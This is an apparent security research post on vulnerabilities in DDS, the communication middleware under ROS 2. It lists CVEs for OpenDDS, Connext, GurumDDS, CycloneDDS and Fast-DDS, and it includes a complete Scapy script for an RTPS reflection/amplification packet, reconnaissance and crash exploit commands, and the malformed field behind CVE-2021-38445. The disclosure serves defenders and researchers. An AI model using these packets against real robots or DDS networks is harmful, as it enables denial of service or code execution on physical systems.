Cybersecurity in the ROS 2 communication middleware, the Data Distribution Service (DDS)
First published at ROS Discourse for community dissemination of findings
The results below display an effort Alias Robotics was involved during 2021 and which resulted from a cooperation among various teams within the community. The results have been responsibly disclosed to affected parties over the past few months. We also followed a coordinated disclosure approach in cooperation with authorities, which was made public first in this security advisory 16, and later in our public talks. We’re now bringing this to the attention of the ROS community to raise awareness.
TL;DR: Our target this time was studying the underlying default communication middleware of ROS 2: OMG’s Data Distribution Service (DDS) and its most popular implementations. We found all DDS implementations vulnerable to various attacks and demonstrated how ROS 2 systems can be compromised easily due to the insecurities detected at this layer.
CVE ID | Description | Scope | CVSS | Notes |
---|---|---|---|---|
CVE-2021-38445 | OCI OpenDDS versions prior to 3.18.1 do not handle a length parameter consistent with the actual length of the associated data, which may allow an attacker to remotely execute arbitrary code. | OpenDDS, ROS 2* | 7.0 | Failed assertion >= 3.18.1 |
CVE-2021-38447 | OCI OpenDDS versions prior to 3.18.1 are vulnerable when an attacker sends a specially crafted packet to flood target devices with unwanted traffic, which may result in a denial-of-service condition. | OpenDDS, ROS 2* | 8.6 | Resource exhaustion >= 3.18.1 |
CVE-2021-38435 | RTI Connext DDS Professional, Connext DDS Secure Versions 4.2x to 6.1.0, and Connext DDS Micro Versions 3.0.0 and later do not correctly calculate the size when allocating the buffer, which may result in a buffer overflow | ConnextDDS, ROS 2* | 8.6 | Segmentation fault via network >= 6.1.0 |
CVE-2021-38423 | All versions of GurumDDS improperly calculate the size to be used when allocating the buffer, which may result in a buffer overflow. | GurumDDS, ROS 2* | 8.6 | Segmentation fault via network |
CVE-2021-38439 | All versions of GurumDDS are vulnerable to heap-based buffer overflow, which may cause a denial-of-service condition or remotely execute arbitrary code. | GurumDDS, ROS 2* | 8.6 | Heap-overflow via network |
CVE-2021-38437 | GurumDDS, ROS 2* | 7.3 | Unmaintained XML lib. | |
CVE-2021-38441 | Eclipse CycloneDDS versions prior to 0.8.0 are vulnerable to a write-what-where condition, which may allow an attacker to write arbitrary values in the XML parser. | CycloneDDS, ROS 2* | 6.6 | Heap-write in XML parser |
CVE-2021-38443 | Eclipse CycloneDDS versions prior to 0.8.0 improperly handle invalid structures, which may allow an attacker to write arbitrary values in the XML parser. | CycloneDDS, ROS 2* | 6.6 | 8-bytes heap-write in XML parser |
CVE-2021-38427 | RTI Connext DDS Professional, Connext DDS Secure Versions 4.2x to 6.1.0, and Connext DDS Micro Versions 3.0.0 and later are vulnerable to a stack-based buffer overflow, which may allow a local attacker to execute arbitrary code | RTI ConnextDDS, ROS 2* | 6.6 | Stack overflow in XML parser >= 6.1.0 |
CVE-2021-38433 | RTI Connext DDS Professional, Connext DDS Secure Versions 4.2x to 6.1.0, and Connext DDS Micro Versions 3.0.0 and later are vulnerable to a stack-based buffer overflow, which may allow a local attacker to execute arbitrary code. | RTI ConnextDDS, ROS 2* | 6.6 | Stack overflow in XML parser >= 6.1.0 |
CVE-2021-38487 | RTI Connext DDS Professional, Connext DDS Secure Versions 4.2x to 6.1.0, and Connext DDS Micro Versions 3.0.0 and later are vulnerable when an attacker sends a specially crafted packet to flood victims’ devices with unwanted traffic, which may result in a denial-of-service condition. | ConnextDDS, ROS 2* | 8.6 | Mitigation patch in >= 6.1.0 |
CVE-2021-38429 | OCI OpenDDS versions prior to 3.18.1 are vulnerable when an attacker sends a specially crafted packet to flood victims’ devices with unwanted traffic, which may result in a denial-of-service condition. | OpenDDS, ROS 2* | 8.6 | Mitigation patch in >= 3.18.1 |
CVE-2021-38425 | eProsima Fast-DDS versions prior to 2.4.0 (#2269) are susceptible to exploitation when an attacker sends a specially crafted packet to flood a target device with unwanted traffic, which may result in a denial-of-service condition. | eProsima Fast-DDS, ROS 2* | 8.6 | WIP mitigation in master |
The Robot Operating System (ROS) is the de facto standard for robot application development. It's a framework for creating robot behaviors that comprises various stacks and capabilities for message passing, perception, navigation, manipulation or security, among others. It's estimated that by 2024, 55% of the total commercial robots will be shipping at least one ROS package. ROS is to roboticists what Linux is to computer scientists.
Dissecting ROS 2 network interactions through RTPS
To hack ROS 2, we'll be using a network dissector of the underlying default communication middleware that ROS 2 uses: DDS. DDS stands for Data Distribution Service and is a middleware technology used in critical applications like autonomous driving, industrial and consumer robotics, healthcare machinery or military tactical systems, among others.
In collaboration with other researchers, we built a DDS (more specifically, a Real-Time Publish Subscribe (RTPS) protocol) dissector to tinker with the ROS 2 communications. For a stable (known to work for the PoCs presented below) branch of the dissector, refer to https://github.com/vmayoral/scapy/tree/rtps or alternatively, refer to the official Pull Request we sent to scapy for upstream integration.
The package dissector allows to both dissect and craft, which will be helpful while checking the resilience of ROS 2 communications. E.g., the following Python piece shows how to craft a simple empty RTPS package that will interoperate with ROS 2 Nodes:
rtps_package = RTPS(
protocolVersion=ProtocolVersionPacket(major=2, minor=4),
vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
guidPrefix=GUIDPrefixPacket(
hostId=16974402, appId=2886795266, instanceId=1172693757
),
magic=b"RTPS",
)
ROS 2 reconnaissance
ROS 2 uses DDS as the default communication middleware. To locate ROS 2 computational Nodes, one can rely on DDS discovery mechanisms. Here's the body of an arbitrary discovery response obtained from one of the most popular DDS implementations: Cyclone DDS.
0000 52 54 50 53 02 01 01 10 01 10 5C 8E 2C D4 58 47 RTPS......\.,.XG
0010 FA 5A 30 D3 09 01 08 00 6E 91 76 61 09 C4 5C E5 .Z0.....n.va..\.
0020 15 05 F8 00 00 00 10 00 00 00 00 00 00 01 00 C2 ................
0030 00 00 00 00 01 00 00 00 00 03 00 00 2C 00 1C 00 ............,...
0040 17 00 00 00 44 44 53 50 65 72 66 3A 30 3A 35 38 ....DDSPerf:0:58
0050 3A 74 65 73 74 2E 6C 6F 63 61 6C 00 15 00 04 00 :test.local.....
0060 02 01 00 00 16 00 04 00 01 10 00 00 02 00 08 00 ................
0070 00 00 00 00 38 89 41 00 50 00 10 00 01 10 5C 8E ....8.A.P.....\.
0080 2C D4 58 47 FA 5A 30 D3 00 00 01 C1 58 00 04 00 ,.XG.Z0.....X...
0090 00 00 00 00 0F 00 04 00 00 00 00 00 31 00 18 00 ............1...
00a0 01 00 00 00 6A 7A 00 00 00 00 00 00 00 00 00 00 ....jz..........
00b0 00 00 00 00 C0 A8 01 55 32 00 18 00 01 00 00 00 .......U2.......
00c0 6A 7A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 jz..............
00d0 C0 A8 01 55 07 80 38 00 00 00 00 00 2C 00 00 00 ...U..8.....,...
00e0 00 00 00 00 00 00 00 00 00 00 00 00 1D 00 00 00 ................
00f0 74 65 73 74 2E 6C 6F 63 61 6C 2F 30 2E 39 2E 30 test.local/0.9.0
0100 2F 4C 69 6E 75 78 2F 4C 69 6E 75 78 00 00 00 00 /Linux/Linux....
0110 19 80 04 00 00 80 06 00 01 00 00 00 ............
Using the RTPS dissector, we're can craft discovery requests and send them to targeted machines, processing the response and determining if any DDS participant is active within that machine and DOMAIN_ID.
Let's craft a package as follows and send it to the dockerized target we built before:
## terminal 1 - ROS 2 Node
docker run -it --net=host hacking_ros2:foxy -c "source /opt/opendds_ws/install/setup.bash; RMW_IMPLEMENTATION=rmw_cyclonedds_cpp /opt/opendds_ws/install/lib/examples_rclcpp_minimal_publisher/publisher_lambda"
## terminal 2 - Attacker (reconnaissance)
python3 exploits/footprint.py 2> /dev/null
Though DDS implementations comply with OMG's DDS's specification, discovery responses vary among implementations. The following recording shows how while the crafted package allows to determine the presence of ROS 2 Nodes running (Galactic-default) CycloneDDS implementation, when changed to Fast-DDS (another DDS implementation, previously called FastRTPS and the default one in Foxy), no responses to the discovery message are received.
ROS 2 reflection attack
Each RTPS package RTPSSubMessage_DATA
submessage can have multiple parameters. One of such parameters is PID_METATRAFFIC_MULTICAST_LOCATOR
. Defined on OMG's RTPS spec, it allows to hint which address should be used for multicast interactions. Unfortunately, there's no whitelisting of which IPs are to be included in here and all implementations allow for arbitrary IPs in this field. By modifying this value through a package, an attacker could hint a ROS 2 Node (through its underlying DDS implementation) to use a new multicast IP address (e.g. a malicious server that generates continuous traffic and responses to overload the stack and generate unwanted traffic) which can be used to trigger reflection (or amplification) attacks.
Here's an example of such package crafted with our dissector:
from scapy.all import *
from scapy.layers.inet import UDP, IP
from scapy.contrib.rtps import *
bind_layers(UDP, RTPS)
conf.verb = 0
dst = "172.17.0.2"
sport = 17900
dport = 7400
package = (
IP(
version=4,
ihl=5,
tos=0,
len=288,
id=41057,
flags=2,
frag=0,
dst=dst,
)
/ UDP(sport=45892, dport=dport, len=268)
/ RTPS(
protocolVersion=ProtocolVersionPacket(major=2, minor=4),
vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
guidPrefix=GUIDPrefixPacket(
hostId=16974402, appId=2886795267, instanceId=10045242
),
magic=b"RTPS",
)
/ RTPSMessage(
submessages=[
RTPSSubMessage_DATA(
submessageId=21,
submessageFlags=5,
octetsToNextHeader=0,
extraFlags=0,
octetsToInlineQoS=16,
readerEntityIdKey=0,
readerEntityIdKind=0,
writerEntityIdKey=256,
writerEntityIdKind=194,
writerSeqNumHi=0,
writerSeqNumLow=1,
data=DataPacket(
encapsulationKind=3,
encapsulationOptions=0,
parameterList=ParameterListPacket(
parameterValues=[
PID_BUILTIN_ENDPOINT_QOS(
parameterId=119,
parameterLength=4,
parameterData=b"\x00\x00\x00\x00",
),
PID_DOMAIN_ID(
parameterId=15,
parameterLength=4,
parameterData=b"*\x00\x00\x00",
),
PID_PROTOCOL_VERSION(
parameterId=21,
parameterLength=4,
protocolVersion=ProtocolVersionPacket(major=2, minor=4),
padding=b"\x00\x00",
),
PID_PARTICIPANT_GUID(
parameterId=80,
parameterLength=16,
parameterData=b"\x01\x03\x02B\xac\x11\x00\x03\x00\x99G:\x00\x00\x01\xc1",
),
PID_VENDOR_ID(
parameterId=22,
parameterLength=4,
vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
padding=b"\x00\x00",
),
PID_PARTICIPANT_BUILTIN_ENDPOINTS(
parameterId=68,
parameterLength=4,
parameterData=b"?\xfc\x00\x00",
),
PID_BUILTIN_ENDPOINT_SET(
parameterId=88,
parameterLength=4,
parameterData=b"?\xfc\x00\x00",
),
PID_METATRAFFIC_UNICAST_LOCATOR(
parameterId=50,
parameterLength=24,
locator=LocatorPacket(
locatorKind=16777216, port=47324, address="8.8.8.8"
),
),
PID_METATRAFFIC_MULTICAST_LOCATOR(
parameterId=51,
parameterLength=24,
locator=LocatorPacket(
locatorKind=16777216,
port=17902,
address="239.255.0.1",
),
),
PID_DEFAULT_UNICAST_LOCATOR(
parameterId=49,
parameterLength=24,
locator=LocatorPacket(
locatorKind=16777216,
port=12345,
address="127.0.0.1",
),
),
PID_DEFAULT_MULTICAST_LOCATOR(
parameterId=72,
parameterLength=24,
locator=LocatorPacket(
locatorKind=16777216,
port=12345,
address="127.0.0.1",
),
),
PID_PARTICIPANT_MANUAL_LIVELINESS_COUNT(
parameterId=52,
parameterLength=4,
parameterData=b"\x00\x00\x00\x00",
),
PID_UNKNOWN(
parameterId=45061,
parameterLength=4,
parameterData=b"\x03\x00\x00\x00",
),
PID_PARTICIPANT_LEASE_DURATION(
parameterId=2,
parameterLength=8,
parameterData=b",\x01\x00\x00\x00\x00\x00\x00",
),
],
sentinel=PID_SENTINEL(parameterId=1, parameterLength=0),
),
),
)
]
)
)
send(package)
Fully avoiding this flaw requires a DDS implementation to break with the standard specification (which is not acceptable by various vendors because they profit from the interoperability the complying with the standard provides). Partial mitigations have appeared which implement exponential decay strategies for traffic amplification, making its exploitation more challenging.
ROS 2 Node crashing
Fuzz testing often helps find funny flaws due to programming errors in the corresponding implementations. The following two were found while doing fuzz testing in a white-boxed manner (with access to the source code):
CVE ID | Description | Scope | CVSS | Notes |
---|---|---|---|---|
CVE-2021-38447 | OCI OpenDDS versions prior to 3.18.1 are vulnerable when an attacker sends a specially crafted packet to flood target devices with unwanted traffic, which may result in a denial-of-service condition. | OpenDDS, ROS 2* | 8.6 | Resource exhaustion >= 3.18.1 |
CVE-2021-38445 | OCI OpenDDS versions prior to 3.18.1 do not handle a length parameter consistent with the actual length of the associated data, which may allow an attacker to remotely execute arbitrary code. | OpenDDS, ROS 2* | 7.0 | Failed assertion >= 3.18.1 |
They both affected OpenDDS. Let's try out CVE-2021-38445 which leads ROS 2 Nodes to either crash or execute arbitrary code due to DDS not handling properly the length of the PID_BUILTIN_ENDPOINT_QOS
parameter within RTPS's RTPSSubMessage_DATA
submessage. We'll reproduce this in the dockerized environment using byobu to facilitate the setup:
## terminal 1 - ROS 2 Node
# Launch container
docker run -it hacking_ros2:foxy -c "byobu -f configs/ros2_crash.conf attach"
# docker run -it --privileged --net=host hacking_ros2:foxy -c "byobu -f configs/ros2_crash.conf attach"
## terminal 2 - attacker
# Launch the exploit
sudo python3 exploits/crash.py 2> /dev/null
The key aspect in here is the parameterLength
value:
PID_BUILTIN_ENDPOINT_QOS(
parameterId=119,
parameterLength=0,
parameterData=b"\x00\x00\x00\x00",
),
Credit
This research is the result of a cooperation among various security researchers and reported in this advisory.